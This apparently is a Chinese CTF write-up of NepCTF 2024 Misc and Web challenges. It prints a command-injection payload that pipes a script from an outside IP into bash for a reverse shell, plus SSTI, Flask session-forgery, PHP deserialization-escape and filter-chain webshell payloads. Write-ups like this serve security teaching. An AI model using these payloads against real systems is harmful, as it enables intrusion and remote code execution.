春秋云镜-Exchange
2024NepCTF
Misc
NepMagic —— CheckIn
玩完就给flag了,老老实实的玩就行
3DNep
既然是3D,那得用3D文件打开
找个在线网站打开就好

发现底部有个汉信码
中国物品编码APP扫码

Nemophila
1 | import base64 |
跟着脚本的条件一个一个对,还是很好对的,
最后拿到key
1 | secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve} |
解压缩包,图片内容是乱码

这种情况我先去异或看看
拿文件头去试试 89 50 4E 47
secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}

最终发现异或的key就是压缩包密码
1 | secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve} |
异或得到一个新图片,修改宽高得到flag

Web
NepRouter
在register页面发现有encrypted_id,且该页面是前端加密
将该页面前端download下来
手动将TEST改成NepNepIStheBestTeam
还有Type也改了,删了就行

之后页面就会出现伪造后的id

拿着这个id去发包即可,中间发现几个页面并没有什么变化,直到在8080端口

之前是登录TEST登录会显示没认证,后面改了前面的id之后输入NepNepIStheBestTeam
会跳转到

小框框存在命令执行的拼接
1 | /setrouter?ip_address=127.0.0.1;curl${IFS}http://101.34.80.152:8080/1.html|/bin/bash |
服务器的1.html内容
1 | #!/bin/bash |
反弹shell,第一个flag

后面结合提示router里最明显的就是mysql了

1 | mysql -u root -p -h 127.0.0.1 |
这一点耗了我好长时间,他没回显,输那么多条命令就会先一下,很难受,还好最后出了

NepDouble
文件名ssti,蛮新奇的
一开始已考虑到了文件内容,到了后来灵光乍现,文件名也是{{}}应该也有啊,果然
文件上传表单上传文件,
1 | <!DOCTYPE html> |
直接上最后的payload
1 | {{''.__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__('popen')('cd ..;cat flag').read()}} |
后面压缩成压缩包上传就好了
蹦蹦炸弹(boom_it)
1 | from flask import Flask, render_template, request, session, redirect, url_for |
附件发现弱密码
HRP/HRP

通过代码审计发现,需要admin的账户超过10000购买flag才可以知道admin的密码
而不用要登录admin也可以买flag
审计发现HRP有6000
其他每个账户有2000
2个账户向admin转2000,hrp转6000就够了

但是其他用户的账户密码你不知道,还都是随机的,但是代码里给了查看其他用户名密码的接口,直接访问就好了/get_users,


得到这么多,可以利用session伪造进行伪造用户,key是super_secret_key

1 | python3 flask_session_cookie_manager3.py decode -c "eyJ1c2VybmFtZSI6IkhSUCJ9.Zs8-9A.KhAna9JhrHOH7GMugR-5lomVFTg" -s super_secret_key |
给admin送满之后,切换到HRP,只有HRP可以通过admin买flag

拿到了admin的密码OaoMxEqRHYBR9g3
/admin去登录
登陆成功

看源码有文件上传的操作,这些按钮点了都不行,但是做到这就没再做了,后面做double反应过来,可以写表单或者脚本。。。可当时半夜了不想做了,
传一个lock.txt就行

1 | POST /admin/dashboard?cmd=ls HTTP/1.1 |
1 | echo '#!/bin/bash' > start.sh |
数据占用打崩,让服务重启反弹shell
1 | nc 127.0.0.1 8888 < /etc/passwd |
PHP_MASTER!!
1 | <?php |
反序列化字符串逃逸加一些php特性,逃逸主要用到了就是\00和%00的替换
先构造出原本的pop链
1 | O:1:"C":2:{s:1:"s";N;s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}} |
针对这一块,当时山警考过
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节%9f可以造成字符串往后移动一位
%f0可以把字符串吞掉三位
竟然后面少了一个字符,前面多了一个字符,我们可以看到start和end的值为0和15
就是说mb_strpos这个函数在遇到%9f这个不可见字符时,会自动忽略,而mb_substr则不会忽略,导致截断的字符串往前移动了一个位置。
而对于%f0

可以看到mb_strpos函数是正常当成一个字符识别,但是mb_substr就很神奇了,他会把%f0连着后面的三个字符当成一个字符来识别,所以可以看到这里明显是少了三个字符
利用这个特性来看此题
1 | function substrstr($data) |
要输出NepCTF
首先得有,所以nep要传Nep
字符串就变成了[welcome toNepCTF]
整个字符串一共18位 NepCTF]7位
可以用%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%9f%9f
奇怪的是%f0好像有时候不管用
要配合其他字符或者足够多
比如这样的时候,应该吞6个但是不行

上面是用phpinfo的方法,下面我们用预期解
1 | $a = new C('a'); |
然后配合filterchain写马
exp
1 | <?php |
1 | php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=index.php |
最后flag在环境变量中发现






